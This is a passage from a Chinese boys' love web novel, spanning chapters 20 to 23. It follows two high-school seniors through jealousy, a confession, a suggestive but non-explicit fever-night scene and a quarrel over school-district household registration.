江逸现在的人选是周靖泽,如果谢逾白提出落户到自己的房子,江逸必然会陷入纠结两难。所以,宋越是最好的选择,没有感情的牵绊。 他绝对无法忍受,江逸把户口落在周靖泽的房产上。 “即使你为了江逸考虑,我也不能……”宋越不会因为钱做出欺瞒朋友的事,当他翻开资料的时候,表情僵硬,随后快速翻动,仔细不错过每一个字,里面的照片也一个个查看。 资料里面陈述了,他的合伙人,朱展,竟然进了这么多假酒。这是很危险的事,一旦有客人喝出了事,够他蹲监狱的。朱展私吞了他八十万,这些钱是宋越跟哥哥多年的积蓄。 宋越脸色阴沉,后背冒了汗,有些后怕,“你哪来的资料?可靠吗?” “你可以搜一下我的出身,我家开律师事务所,首席律师亲自给我调查的结果。接下来你该怎么办?可以直接联系律师,他会竭尽全力给你服务。”谢逾白推过来一张名片。 “首席律师听你的话?管我这鸡毛蒜皮的小事。” “听,谁让我占股百分之58%,是他的老板。” “老板不是你父亲?是你?” 谢逾白表情很淡,“事务所是我母亲的名字注册的,她留给了我。” “房子的事,我会看着处理,我不会勉强江逸,只会提供给他一个可能。房子不便宜,你放心我?” “疑人不用,用人不疑。”这点钱对谢逾白来说根本不算什么,况且有律师签合同。 宋越脑子转动,谢逾白挺可怕的,一句废话没有,一个多余的动作没有,“你有这智商,没追到人?” 谢逾白脸上没多余神色:“可能我情商低了点?” 宋越呵呵笑,露出今晚第一个笑脸,“不管你目的为何,我谢谢你,让我的酒吧逃过一劫。” 打蛇打七寸,谢逾白知道他最在乎的是酒吧,让他无法说不。 20.第 20 章 陈最激动地喊,“谢逾白考完物理竞赛回来了!” “知道结果了?” “一等奖,在省里比赛谢逾白也是第一,天才就是天才!” 江逸正在查单词,往窗外看了看,他十多天没见过谢逾白,自从那天从他家离开,一直没有再见面。 微信页面,停留在谢逾白走之前给他发的信息: 【我明天出发去考试,你有时间过来一趟吗?】 江逸:【明天有点事。】 江逸心里有种奇怪的不安,浑身不自在。 这段时间,趁着谢逾白去考试,江逸想静一静。 他跟谢逾白长期相处之下,那天晚上的暧昧,到底是真实的,或是一时迷乱? 坦白说,现在不是发展一段感情的时机,高三了学业紧张,他的成绩落后很多不应该分心。 江逸是个爱自由的人,谢逾白像个谜团,也像个刺猬,稍不注意就玩脱了。 下了第二节课,谢逾白的身形出现在教室,黑色呢大衣版型挺括,骨相清贵。 教室里忽然静了,几道目光落在他身上。他走向座位抬手解大衣纽扣,袖口露出的校服袖子平整。 他手上的石膏已经拆下去了,右手自然地垂在身侧。 江逸视线追着他的手,指甲修剪得短而齐,袖口往下褪了半寸,露出小段腕骨凸起的弧度干净,像雪地里支起的细枝。 “逸哥,我跟你说这道题的解题思路,你清楚了吗?” “你说什么了?” “说了两遍了,你怎么走神了?我再说一遍,这种题目先把选项里词的词性标注一下,看原文空格处需要什么词性,排除一些选项,再根据上下文的意思,选择相近意思的词填进去。听明白了吗?” “听明白了。” 陈最:“那你重复一下。” “为什么要我重复?” “你又没认真听。” 陈最放下笔,推了推眼镜,“你到底学不学了?” 林飞羽哈哈笑:“陈老师理解一下,最近逸哥的魂被高二学妹勾走了,只剩下个躯壳了。” 进门后一直不发一语的谢逾白蹙眉问,“什么学妹?” 林飞羽:“一个大眼睛,可可爱爱的妹子,长了一对可爱的小酒窝,萌得不行了。” 江逸喝止:“差不多了,这么讨论女生不礼貌。” “逸哥现在就开始护着了?陈最你看到了,我说的是真的不?女孩可爱不?两人每天放学一起走。” 陈最承认:“是很可爱的那一挂。” “差不多得了,别净说没用的。” 江逸低头做题,做好了拿给陈最:“看看这次,我做的步骤对吗?” 陈最:“…… 不对。” 刚打放学铃,一个眼睛圆溜溜的女孩趴在前门往里面看,对着江逸招手,“哥哥,你出来一下。” 林飞羽:“哎呦,又来找你了。” 江逸慢腾腾站起身,两人走到走廊另一侧,不知道说些什么,女生神情雀跃,江逸单手插兜淡淡听着,时不时点头。 夏韵走了以后,江逸刚转身,对上一个高大的身影,一双凛着的黑眸。 谢逾白简单吐出三个字:“跟我来。” 江逸心脏突突的有点不想去,胳膊被拉住,谢逾白一直拽着他往前走,周围不少同学纷纷看过来,江逸有些尴尬。 他们一直走到体育馆后面的监控死角,旁边还有一对情侣在闹别扭,女生把男生推开,男生又把她紧紧抱住。 江逸:“……” 他之前为什么要带谢逾白来不清不楚的地方? 谢逾白眉弓下压,英挺的五官绷紧,一看就是不高兴了。 江逸曲指蹭了蹭鼻尖:“你哪天回来的?” “你巴不得我消失,别回来了。” “少爷,一回来就发脾气?” 谢逾白没穿外套,十二月初的天气很冷,他穿着薄薄的校服,耳根冻得有点红,薄而分明的唇微微撇着,看上去有点委屈。 “你怎么不穿外套就出来了,不知道外面有多冷?” 江逸拉着他的校服袖子,把人往体育馆里面拉,“我们进去说。” 谢逾白甩开江逸,“因为刚刚的女孩,你躲着我?” 江逸颇为头痛地说,“我二姨的女儿,我表妹夏韵。” 谢逾白抿着唇,眼神酝酿着阴云,“不管怎样,江逸,你在躲我。” “我躲你干什么?” “自从那天从我家离开,你再没去过我家,我临走那天你没来,这么多天一个电话没给我打。” 谢逾白忍住没给江逸打电话,这些天他无比煎熬,是他做得过分了,不应该让自己的心思那么明显? “你准备物理竞赛,我给你打电话能帮上什么忙?” 江逸看着谢逾白就冷,江逸身上穿得多一点,外套里面穿了针织衫,不像谢逾白一件卫衣搭配校服就没了。 江逸脱下外套打算给他披上,“你穿一下。” 谢逾白侧身躲过,“你穿你的,我不冷,你的外套,我穿小。” “我买的185尺码,怎么会小?” 谢逾白:“你穿过我衣服,不知道我穿190尺码?” “行行行,你不穿,你有话快点说,说完我们回去。” “你承认,你在躲我。” 江逸看他一眼,默不作声。 “为什么躲我?你害怕了?” 江逸冷得直搓手。 谢逾白把他的手扯进自己手里,手掌夹住他的手,“说话,我没耐心跟你耗着。” 我日,江逸没话说了,“你说是就是吧。” 这是什么渣男语录!谢逾白脸色变差,“你承认了?很好,为什么躲我?你不说我也能分析出来。” “你瞎分析什么。” “那天晚上在我家,我发现你对我有反应,你吓到了?你怕看到我会越来越混乱,干脆躲着我。” 江逸:“……” 谁说谢逾白情商低的?挺聪明的。 “你怎么这么怂?” “谢少爷,说话留三分情面,大家面子好看。” 江逸佩服谢逾白这张嘴薄薄的一片,这么厉害,触感很软的。 他为什么想到触感的问题! 谢逾白说得没错,江逸吓到了,那天以后,那个夜晚就像潘多拉的盒子,一旦被打开再也无法回到过去。 他每次想到被他亲吻,轻咬,一种奇异的热会迅速弥漫。 江逸陷入了怪圈,时不时会想起谢逾白,吃早餐想起他难吃的三明治,物理课想起他敲击大学物理教材封面的修长手指,甚至每次打球换衣服也会想到他。 江逸觉得自己快失心疯了,所谓智者不入爱河。他想洒脱地浪,不能被谢逾白拴得死死的。 就像现在,他们的距离这么近,江逸的五感全部被放大,感受不到冷,能感受到谢逾白凌厉的视线一直在他身上。 自从听谢逾白说完那些话,江逸跟他对视,有点想抱他,自己肯定是被他动了什么手脚。 分开十多天了,仍然这样。 谢逾白气得要命,想他想到不行,一阵气恼,一阵闹心,对面站着的人吊儿郎当的,一副无所谓的样子。 “你只想跟我做朋友?我知道了,我以后不会再跟你有任何暧昧,你别躲着我行不行?” 果然,江逸听闻他说这句话,明净剔透 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江逸大惊失色,“你、你鼻子流血了。”他摸了摸兜,没带纸。 血顺着谢逾白的下颌一滴一滴落在地上,他仰着头忍着疼,强撑着说,“我兜里有纸,你拿一下。” 江逸手指伸进他左边裤兜,探索了几下什么也没有,又伸进右边裤兜,手指摸到了谢逾白的大腿,快速在兜里扫动几下,还是没有。 谢逾白大腿绷着,失血带来一种失重感,被这种荒唐弄得有些错乱,他嗓子好不容易发出气音:“在我上衣兜里。” “你不早说!” 江逸两只手同时伸进两边兜里,姿势像把谢逾白搂进怀里。 江逸近距离看,谢逾白的皮肤很细腻,下颌线条没有一丝赘余,深黑的瞳孔像夜空一样闪烁着星光。 谢逾白仰着头,“你发什么呆,给我纸!” “来了来了。” 江逸抽出纸巾,手指不知是冻的还是紧张的,不听使唤。他怎么也弄不出一个大小刚好的纸团,不是大了,就是小了。 谢逾白咬牙道:“纸拿来,给我。” 江逸颤颤巍巍递过去,谢逾白单手搓了个纸团塞进鼻孔,再流血下去,他快贫血了。 他拿出消毒湿巾,细致地清理了脸上的血,校服上白色的部分染了血迹,像梅花。 江逸起初抿着唇,“噗嗤” 一声笑出来,琥珀色眼眸弯成月牙,瞳仁里盛着晃悠悠的光。 “江逸!” “我知道,你接下来要说:我要杀了你!” 谢逾白扳着他的肩膀,把人摔在墙上:“很好笑?” “没,不好笑,我错了不笑了。” 谢逾白清冽的气息裹着寒意压下来,江逸刚要挣扎,听见校服拉链被扯开的轻响。 紧接着,他的肩头忽然一凉,布料被粗暴地扒到臂弯。谢逾白的呼吸落在左肩上,牙齿猝不及防地咬下去,在白皙的皮肤上咬出浅红的印子。 江逸浑身一僵,动不了了。谢逾白牙齿磨过温热的皮肤,像在宣泄什么。 江逸肩膀发颤,呼吸发紧,耳朵烫人,他感觉到谢逾白胸腔里压抑的震动。肩膀的颤意顺着手臂爬上来,浑身软得使不出力气。 谢逾白按在他后颈,咬痕渐渐深了些,他灼热的气息漫进衣领。 “谢逾白,差不多了,我疼,还冷。” 江逸眼尾湿润,攥着他衣角的手松了又紧,呼吸彻底乱了。 谢逾白暗色眼眸里欲念横生,骨节抵着江逸后背,肩胛骨绷紧,把他身上的暖气裹进怀里,低哑的气音说,“你自找的。” 20-30 第21章 想让我壁咚你? 理智回归, 谢逾白看着江逸肩膀上触目惊心的牙印,暗红色,清楚地留在白皙如玉的左肩。 他指尖倏然发凉, 盯着伤处失神。 江逸捂着左肩,眼尾因疼意泛红,倒抽着冷气:“谢逾白,你属狗的?说咬就咬?” 谢逾白垂眼盯着他肩窝一圈泛紫的牙印,指腹在自己唇角蹭了蹭,声线偏低:“你也咬过我的。” 江逸疼得抽气, 谢逾白的拇指碾过他腕骨, 眼神下沉,“只许你咬我, 我不能咬你?” 江逸挣了挣, 左肩的刺痛钻心, “我是气急了, 你做错事了,在冷水里睡觉很危险, 你现在纯是虐待我。” 谢逾白眉峰蹙起, 眼底全然的措手不及:“虐待?” “对, 你就是变态!” 谢逾白耳朵蹭地红了,喉结滚了半天才憋出话:“你躲我,不理我在先,这么说我,把我说成……” “我想联系谁,不想联系谁,你有什么资格管我,这是我的自由!” 谢逾白眼底泛红, “好!我给你自由!”他气恼地走开,大步流星的,蓬松硬朗的发丝随着他的步伐飘逸。 江逸跟在他身后,吃惊地发现谢逾白没回教室,他穿着单薄的校服上衣,一层薄薄黑色西装裤,径直走出了校门。 他搞什么?今天的天气江逸穿着棉服觉得有点凉,谢逾白穿得那么少。 出了校门,谢逾白顺着路一直暴走,没有司机来接他,江逸没办法,跑了几步拽住他的胳膊,“你适可而止,这么冷的天,你耍什么脾气?” 谢逾白眼尾冷冷扫他:“你想要自由,我给你,穿得少是我的自由,冷了感冒也是我的自由。” 他的话让江逸受不了,今天的谢逾白他花了多少心血,最受不住他拿自己的身体不当回事,“我们先回教室,你穿了衣服再说。” 谢逾白大力甩开他,继续往前走。 街边有个咖啡店,江逸扯住他的胳膊,“我们进咖啡店休息一会。” “你别跟着我!”谢逾白不管不顾往前走。到了一个转弯的拐角处,这里没什么人,江逸一下扑进谢逾白怀里,阻止他继续暴走。 谢逾白的后背沉沉撞到墙面,他阴沉的脸浮现一种别样情绪。 江逸双臂环上他的腰,在他耳边轻声哄着:“你脾气怎么这么大?把我咬的那么疼,你好意思发脾气?” 谢逾白睫毛垂得低,耳后泛着红,“你手拿开,别碰我!” “你装什么装,想让我手拿开?你恨不得我现在壁咚你吧。”江逸嘴角勾着,眼神明亮惑人,看人时含着点光。 谢逾白心跳如急雨打窗,密集地砸着胸腔。 “我现在壁咚你,你就不生气了,行不行?”江逸皮肤白得透亮,抬起下巴,红润的唇慢慢贴近。 谢逾白心内慌乱,猛地别开脸,柔软的触感落在了他的右边耳垂,那只耳朵瞬间红透,他额头青筋浮现,“江逸,你当我是什么?” “当你是我的心肝宝贝,大冷天的我陪你在马路上演琼瑶剧。” 江逸呼出的热气喷在他热到不行的耳朵上,红红的耳朵看着可爱,江逸伸手捏了下他的耳朵,“别气了,行不行?有什么话好好说。” 谢逾白沉声说:“我有什么资格说?我算什么!” 江逸仰着脸看他:“你不说,想让我壁咚你?哎,拐弯抹角的,直说多好。”他又要靠近。 谢逾白眼神偏开半寸,左右偏着头躲闪。 看着他局促的样子,江逸觉得十分有趣,舔了下嘴唇,笑得灿烂:“谢逾白,我搂着你根本没用力,你稍微用点力气,轻易就能推开我,你在那装什么。” 谢逾白看他没心没肺的笑,眼底眉梢全是笑意,不似自己乱成一团,他心里的怒气值,哀痛值全部到了顶点。 他喜欢眼前的人,爱而不得这么久,不管怎么掩饰,遮不住心里的不安,患得患失,在意他到快要发疯的程度。 想到这里,谢逾白人忽然泄力了,瞳孔中充满失望,他的声音淡得像天边的云,“江逸,你在意过我吗?对我哪怕有一丝丝的好感吗?” “你能不能别问这些?好肉麻。” 谢逾白语气低到尘埃:“你对我是有感觉的,对不对?那天晚上你……” 提到这事,江逸很难堪,竖着眉毛否认:“你指那天晚上我的生理反应?一个青春期男生的生理反应能说明什么?我看片的时候也有反应,能怎么样,说明我喜欢片里的人?” 谢逾白脸色难看极了,呼吸卡在喉咙,扭头转身大步走。 “你要去哪?要回家吗?怎么不给司机打电话?” “不要你管!” 谢逾白背着书包在前面走,江逸不远不近地追在他后面。路过卖糖葫芦的大爷,江逸买了两串糖葫芦,“喂,你吃不吃糖葫芦?” 谢逾白回头瞪他,看他腮帮子塞得鼓鼓的,有心情吃糖葫芦,更生气了。 “你家开车快要一个小时才到,走回去天都黑了。谢大少爷,你能不能别这么任性?天太冷了。” “你关心我的身体?这么多天了,我的胳膊打着石膏,你有问过我吗?” 江逸看到他眼里的黯然神伤,叹气道:“我没给你打电话就说明我不关心?每次陈最给你打电话我都在旁边听着。八天前,你出发去考试之前拆的石膏,对不对?” 谢逾白脸色好了一点,“你有关注我?” “不是给你证据了吗?” “你为什么不自己打电话问我?” 江逸摸了摸鼻尖,“我想的是如果你有需要,会给我打电话的,每天听到你的消息,我知道你的手每天在变好,我不是专业的医生,你家有专门的医生照顾,我有什么不放心的?” 江逸说不出口的原因,他在逃避,他避免去想谢逾白是因为他受伤的。这件事就像他心中的一颗刺,他宁愿受伤的是他自己,这种话他说不出口,太过矫情。 江逸已经记不得有什么人,会把他的安危排在首位。 谢逾白明知道江逸在逃避,在跟他扯皮,他忍受不了了,“我想知道你不肯跟我在一起,不肯接受我的真正的原因。” 见他一副打破砂锅问到底的样子,江逸顿感头疼,想了一个理由搪塞,“以前我问过你,你是上面的还是下面的?你没有回答。你现在可以回答吗?” 谢逾白耳廓红得扎眼,手指蜷了蜷,沉吟片刻:“我以前没有想过这个问题,刚刚想了一下,我都可以,如果你想在上面,我可以在下面。” “噗”一声,江逸笑了,他扯开衣服,露出肩膀上的伤痕,“你对自己不了解吗?你的侵略性,你的占有欲,会容忍你躺在我身下,让我随意进.入你?” 谢逾白的修养让他听到这些话,呼吸骤停,脸红得像天边晚霞,“我……我可以。” “何必呢,做这事就是为了快乐,为了和谐,何必要你委曲求全。” 谢逾白嘴唇抿成线,“我的快乐不取决于我在上面还是下面,取决于我能跟你在一起。”谢逾白脸色微红,声音变低,“如果你不相信,随时可以测试我。今晚你就可以把我……” 江逸脸上憋着笑,眼眸晶晶亮,把谢逾白的每一个表情尽收眼底:“把你什么?怎么不说出来?” 他的声音硬得像冻住:“把我……睡了。” 江逸手指捏起他的下巴,嫩红的唇开合:“这个条件很诱人,明天是周末,今晚挺适合干这件事。” 他桃花枝一般的眼尾上扬,嘴角弯起,伸手拍了下谢逾白的臀部,触感弹弹的,挺翘,“你知道我要进去哪里?你做好心理准备了?” 谢逾白眼尾瞥过来,眼底还红着,嗓子干涩:“我知道。这个问题解决了,你能不能以后不躲着我了?” 江逸看着逐渐远方的华灯,车灯的光在他眼中沉浮,“你跟我在一起有什么好?你睁开眼睛看看,我从头到脚有一样好东西吗?” 谢逾白看着他陷入某种真实的愁绪中,怔愣地问,“你什么意思?” 江逸尽量把心中的想法表述出来: “小学四年级,我想要崭新的书包,姥姥告诉我没有必要买新的书包,旧的书包缝缝补补可以用。” “小学毕业过生日,我想吃草莓蛋糕,姥姥告诉我吃蛋糕容易牙疼,最后她给我做的是豆沙包。很久的一段时间,别人过生日吃蛋糕,我过生日吃豆沙包。” “谢逾白,你不懂,太过华丽的东西根本不适合我,例如你,你跟橱窗里的崭新书包和柜台后面的草莓蛋糕是一样的,不该属于我。或许我的一生适合凑合将就。” 江逸的语气没有一丝一毫的玩笑,他真切地这么认为的。 谢逾白的心中苦涩,一波一波的心疼揪着他的心脏,他扳过江逸的肩膀,紧紧抱住他:“你就是最好的,你值得最好的,你不需要任何外在的东西来修饰,你为什么不敢要?” 在他心里江逸最善良,最美好,最温暖,值得最好的。 江逸由着他抱着,眉宇之间透露出疲惫,“我也想要好东西,但是我不敢。”他失去太多了。姥姥离开以后,他豆沙包也没有了。 看着江逸的样子,谢逾白心疼到无法呼吸,他恨自己为什么来的这么晚,他为什么只顾自己伤心,自怨自艾,看不到江逸躲闪背后的惶恐不安。 “没关系的,你没得到的好东西,我给你补上。从今往后我不会再逼你了,不会强迫你跟我在一起,我会一直等下去。” 谢逾白话语清晰敲击着江逸的耳骨:“我喜欢你,江逸,你以前和今后想要的,我都给你!” 江逸吓了一跳,看了看周围,摆摊卖烤地瓜的大爷一脸惊恐地看着他们。 “谢逾白,你喊什么?” 他忽然蹦出来的告白,江逸闹了个大红脸,愁绪一扫而空,“谢少爷向来脸皮薄,今天怎么了?” 江逸对他的心意有所猜测,谢逾白的表现挺明显的,江逸没料到他会大声喊出来。 感受心爱的人脆弱无助的一面,谢逾白忘却了羞愧,忘却了的高傲,丢不丢脸的都不重要了。 他直抒胸臆:“我要让你知道,我根本就不是玻璃窗里面精致的书包,蛋糕,我是匍匐到你面前,能承受一辈子保护你诺言的人。” 连匍匐这种课本词汇也用出来了,他不愧是学霸,这两个字江逸写都写不对。 “你喜欢我什么?喜欢我的脸?”江逸不明白,他实在没有什么值得喜欢的。 “你的一切我全喜欢。你不需要相信我说的话,你只需要交给时间。”谢逾白的视线没跟他对视,看着天边乌黑的云,声音低了一些。 四年前,江逸跌跌撞撞来到他的世界,给濒临枯萎的他带来生机,他慢慢喜欢他到无法自拔。 冲动过后,谢逾白想起自己说过的话,好尴尬有点丢脸。抛却的羞耻感一点点漫了回来。 江逸也觉得不自在,抿着唇不去看他,转移话题:“天黑了,我们继续走吗?” “不走了,让司机来接我们。”李师傅很快开着迈巴赫到了。 江逸跟着上了车,两人默契地各自贴着两边的车门坐着,全程缄默,默默消化刚才的对话。 到了江逸家,谢逾白跟着下了车。 江逸诧异:“你不回家?” “既然你不喜欢去我家,我来你家。”江逸害怕不敢走向他,他一步一步过去,即使他们之间有一万步,他也愿意努力走过去。 “回你家去,我家现在没有你的用品,没有你的衣服。” 谢逾白用毫不在意的语气说:“我穿你衣服。” 江逸想起之前被他逼着脱衣服的事情,眼尾一挑,“谁借你?” 谢逾白掀起眼睑,眉梢微扬:“你不借我,我就裸奔。” 第22章 我、没幻想。 谢逾白进了江逸家, “我拖鞋呢?” “什么拖鞋?” “蓝色的,塑料的。”谢逾白熟练地打开鞋柜,到处找遍了, 没了。 江逸书包随手扔在沙发上,声音懒散:“扔了。没想过你还回来,看着碍眼,随手扔了。” 谢逾白:“……” 没有鞋,他只能光着脚,去洗手间洗手, 白袜子湿了。 他忍着湿乎乎的袜子, 他做不出来在江逸家光脚的行为。 江逸无意间看到他的袜子,“你不脱了?越踩越脏, 我两天前拖的地, 地板上有灰。” 平日里, 谢逾白的卧室早晚各打扫一次, 他眉棱抖了抖,去洗手间清洗拖把, 从客厅开始拖地。 他脱掉校服外套, 里面的白衬衫熨得笔挺, 领口敞着半寸,露出修长的颈线。 钻石袖扣在腕骨处晃出细光,脊背的肌肉绷出流畅的弧度,衬衫布料被撑得微微发紧。 谢逾白下半身的黑色西裤,应该是之前参加过什么正式的场合,裤线笔直,妥帖地包裹着劲瘦的长腿。 他握着拖把杆,明显动作不熟练 , 边边角角的地方根本拖不到。 他眉头微蹙,神情专注,额角沁出点细汗,顺着下颌线往下滑,用手背蹭了蹭。 江逸背过身靠在门框上,手指抵着唇角,笑声带着点揶揄:“谢同学,你长这么大,拖过地吗?” “在学校值日拖过。” “你拖完,我需要再拖一遍。”江逸手指抵着唇角。 谢逾白刚好拖到这里,“你让开。”江逸抬起脚,脚趾勾了下他的小腿,“你穿一套正装拖地,在做什么秀。” 谢逾白沉浸在表白过后的尴尬中,想离江逸远点,他忽视对方的动作,像个木头似的,继续拖地。 见他没反应,江逸伸腿又绊了他一下,谢逾白袜子底部湿了,脚下一滑,失去平衡的时候,手掌快速撑在门框上,两人的距离霎时拉进。 江逸看着他撑在门框上的手,掌心发白抵着木头,西裤膝盖处沾了点水渍。江逸上半身往前倾了倾:“谢逾白,你来我家想做什么?” 谢逾白视线落向他肩头,江逸换了短袖睡衣,白色的,透出肩膀被咬出的浅印。 江逸用脚尖勾了勾他西裤裤脚,“怎么不回答了?刚才在外面不是挺能说的吗?语气挺硬的。” 谢逾白被他逼得往后躲了下,后腰撞到拖把杆,发出“哐当”一声。“我好多天没见你,过几天又要去集训,想……” “想什么?想接着演琼瑶剧?想兑现今天说的,今晚让我试试你?” 谢逾白眼神有点慌,耳根发烫,“你想要吗?我说话算话。” 江逸眼底闪着微光,低低地笑:“行啊,我验验货。” 谢逾白的脊背倏地绷紧,西裤布料被江逸碰过的地方像着了火,烫得他腿根发僵。 江逸拿起钥匙,递给他一件外套,“穿上,我们去趟超市。” “买什么?” “不能一直让你没有鞋穿吧?” 从超市回来,谢逾白脸色不太对劲,泛着红晕,江逸伸手一摸他的额头,果然发烧了。 谢逾白手肘搭着浴巾,打算去洗澡。 “你疯了吗?已经发烧了,还要去洗澡。” “我身上难受,必须要洗澡。” “谁惯的你,一身洁癖的臭毛病。” 谢逾白洗完澡出来,穿的是之前的那身衣服。他身上白衬衫被水汽浸得半透,潮湿的布料紧紧贴在背上,肩胛骨凸起。 撞见谢逾白这副模样,江逸的喉结突兀地滑动两下,捏着吹风机的塑料柄,声线有点哑,“去卧室床边躺着。” 谢逾白跟在后面,到了床边躺下,发丝垂在床边。 江逸插上电,吹风机嗡鸣着启动。他半蹲在床边,手指插进谢逾白浓密的发丝,指腹碾过湿漉漉的发根。 谢逾白起初绷着背,被热风烘得放松些。 江逸的手指偶尔碰到他耳朵,谢逾白忍着不吭声。 江逸端着药碗,喂他喝药,褐色药汁顺着谢逾白的唇角往下淌。 布料黏在谢逾白滚烫的皮肤上。“我帮你脱了。”江逸碰了碰衬衫领口,“你发烧穿这么紧,能舒服?” 谢逾白黑色眼瞳像笼了层雾的玻璃。 江逸的手指一颗一颗往下解,到第四颗时,布料粘在谢逾白的腰侧,大概是他洗澡后没擦干透,混着汗水贴得紧实。 江逸把布料从他皮肉上剥离开,触到的腰线肌理分明,谢逾白的肌肉绷紧。 江逸的手指顺着他脊背的线条往下滑,抚过蝴蝶骨凸起的弧度,布料与皮肤分离的瞬间,带起一阵微痒的湿热。 江逸心神微荡。 谢逾白的眼睫垂得低,长而密的一排,偶尔颤一下,像被风吹动的芦苇。他的呼吸声越来越急,带着发烧时的粗重,从齿缝里漏出来,缠在江逸耳边。 手往下滑,江逸手指灵动地一挑,剥开裤子纽扣,指腹擦过腰腹往下探。 谢逾白的眼瞳忽然睁开,雾气被惊散了些,眼底一闪而过的慌乱。 江逸的拇指在他裤腰内侧碾了碾,唇角挑着点笑:“放松点。你紧张什么?”他往前倾了倾,手指碰了碰谢逾白烧红的耳垂,“害怕了?” “没。” 江逸分明感觉到他腰腹的肌肉缩了下,轻笑两声。 看着他红彤彤的耳廓,江逸贴上去问,“要我揉你的耳朵吗?” “可以。” “亲耳朵,怎么样?” 谢逾白几乎喘不过来气了,“什么?” 柔软的嘴唇贴上他红透的耳朵,湿滑的舌尖卷住他的软骨,磨人的力道厮磨,耳后那片皮肤被舔得泛潮。 谢逾白眼前一阵发黑,涌上热意,身体像被投入火星的干草,燃了起来。 江逸在亲他!朝思暮想的人在亲他!谢逾白周身萦绕在虚无缥缈的快乐中,心飞上了云霄。 “你起反应了。”江逸漫不经心地笑,在他腰侧轻轻一按。 谢逾白被他压着亲吻耳廓,暧昧的水渍声在耳边炸开,面皮烧红,一阵麻痒顺着脊椎爬上去,搅得浑身虚飘,身心同时获得极大的满足。 江逸的手指顺着他腰线往下滑,“你要做吗?” 谢逾白的呼吸一顿,“做什么?” “做你啊。” 谢逾白眼神飘着,睫羽颤得厉害,“……嗯。” “你很期待吧?谢逾白,你怎么这么闷骚?看着一本正经的,每天想这些事儿。跟我说说,你什么时候对我有幻想的,幻想我对你做什么了?” 谢逾白声音嘶哑:“我、没幻想。” 江逸压着他,看着高傲不可一世的人脸颊发红,额角沁出汗,牙尖痒痒,“你烧成这样了,我能对你干什么?帮你脱个裤子而已,别紧张了。” 谢逾白唇线抿得发紧,喉结上下滑动。 他一双黑瞳眼神滞涩,像没对焦的镜头。 江逸看着他,轻叹一口气,“你现在难受吗?以后还任性?大冷天的在外面折腾。存心给我找不自在。” 他在谢逾白侧脸落下一个轻吻。 谢逾白修长匀停的手指蜷了又松,颈线绷得发紧。 江逸伸手盖住他的眼睛。掌心的温度隔着睫毛传过来,声音从头顶传来,“宝贝,吃了药睡一觉,醒了就好了。” 第23章 今晚要亲耳朵吗? 谢逾白脑子混沌着, 他身上光溜溜的,一条内裤也没剩,他费力地睁开眼, 窗台上的多肉,简陋的衣柜,这是江逸家。 他用被子裹着身体,打开衣柜,松一口气,里面有一盒新内裤, 没有其它包装, 盒子里直接装的内裤,有个金色的小别针, 上面挂着吊牌。 谢逾白展开内裤, 尺码有点小。 没办法, 总不能不穿, 他穿上,衣柜里有一套校服, 在穿江逸的校服和自己出过汗的衬衫和西裤之中纠结了一会儿, 谢逾白穿上自己的衣服, 帅一点比较重要。 他听到门外传来说话的声音,打开门,客厅里面坐着好几个人,眼睛齐刷刷地看过来。 谢逾白怔愣,几个人他全见过。江逸的二姨,妹妹知知,还有周靖泽。知知正坐在周靖泽身边,他在给知知吹气球。 知知的声音脆脆的, 有着小女孩的娇嫩:“哪来的漂亮哥哥?” 周围有抽气声。江逸镇定自若:“知知,不可以没礼貌,他是谢逾白哥哥,我的同学。” “漂亮哥哥,你的衬衫弄脏了哎。” 谢逾白低头一看,脑子僵了一瞬,他完全忘记了昨晚什么时候把衬衫弄脏了。无论何时,向来注重仪表,穿着精致可以跟模特媲美的谢逾白,脸上表情十分精彩,哭笑不得。 江逸抿唇笑,“知知,不能乱说话。”他轻咳几声:“谢逾白,你去洗漱,然后出来吃早饭。” 谢逾白脚步如常往浴室走,过程中一道视线一直在他身上,周靖泽手里拿着粉色兔子气球,知知拉住他的胳膊,他脚上穿着浅灰色拖鞋。 拖鞋的质感不错,肯定高于二十块钱。 谢逾白的拖鞋被扔了,而且只有十块钱,江逸美其名曰他穿的次数少,不要那么浪费。 明晃晃的区别对待。 浴室的水流声遮不住客厅里谈笑声,谢逾白郁闷死了,抬眼看镜子,衬衫上的褐色药液那么明显。他回到卧室,第一时间打电话,“刘管家,立刻派人给我送衣服,送十套,包括鞋子。” 门外传来敲门声,江逸探头:“走,去吃饭了。” 谢逾白面色不虞:“我吃不下,你们吃吧。” “你昨晚就没吃饭,发烧一整晚,必须要吃饭,然后吃感冒药,否则胃受不了会难受。” “我说了不吃。” 江逸关上门,背靠在门上,“又怎么了?他来了你不开心?” “没有。”谢逾白看着窗外,玻璃上映着他英隽的面容,“他来你家做什么?” 江逸几乎每个周末会把知知从二姨家接回来,陪她玩两天,“周靖泽认识静安小学一位主任,他带着知知去小学看看。” “她申请小学的事情办理了?” “还没有,来年五月份开始申请。”江逸不想瞒着他,与其一会儿从二姨跟周靖泽的谈话中知道,不如现在亲口告诉他,“是这样的,知知上学需要学区,周靖泽刚好有个闲置的学区房,知知的户口打算迁过去。” “那你的户口呢?”谢逾白的语气沉冷。 江逸惊讶于谢逾白思维如此犀利,“我是知知的监护人,肯定也要迁过去。” “你们成一家三口了?” “什么一家三口,你别胡说了,权宜之计而已。” 谢逾白眼神凌厉,嘴角泛冷:“你想也不要想,我不允许。” “你凭什么不允许?” “交给我,我来解决,我有房子,你跟知知跟着我落户。” 知知学区房的事情,从选定学区到学校政策,到户籍政策,周靖泽花了很多心思,跑了好几次。江逸没办法说出口,不用他帮忙。 知知刚被扔下的时候不到三岁,那时候江逸刚过十六岁,哪里会养小孩?周靖泽有带弟弟妹妹的经验,不停地帮他,江逸才熬过来。 “我再跟你说一次,我跟他只是友情,是兄弟,你不用总防着他,知知学区这件事我不能依你。” “为什么不能依我?我有能力给知知提供相同的条件,你为什么只接受他的帮助,不接受我的?”谢逾白语气萧索:“你答应过,让我成为比他还亲近的人。” 怎么解释给他听呢,江逸犯难,只能实话实说:“他对知知和我付出很多,我不能辜负他的苦心。” “你可真够温柔的,知恩图报。” “我不温柔能对你这样?”江逸走过去,伸手摸摸他的头发,微硬的质感扎在手心,“你不喜欢出去,不喜欢见人,我把早饭拿进来给你,在房间吃,好不好?” 这句话说完,江逸胳膊上起了鸡皮疙瘩,自己一阵恶寒,这语气,跟哄小情人似的。 小情人傲娇地说:“说了不吃就不吃。” “吃完早饭,我们去一趟学校,知知期待很久了,你在家复习物理竞赛,按时吃药,多喝热水,我中午回来给你做饭。” “我不用复习,我要一起去。” “天那么冷,你感冒没好,折腾什么?” “给你们机会让你们一家三口出去?” 江逸无奈:“还有我二姨。” “一家四口。” 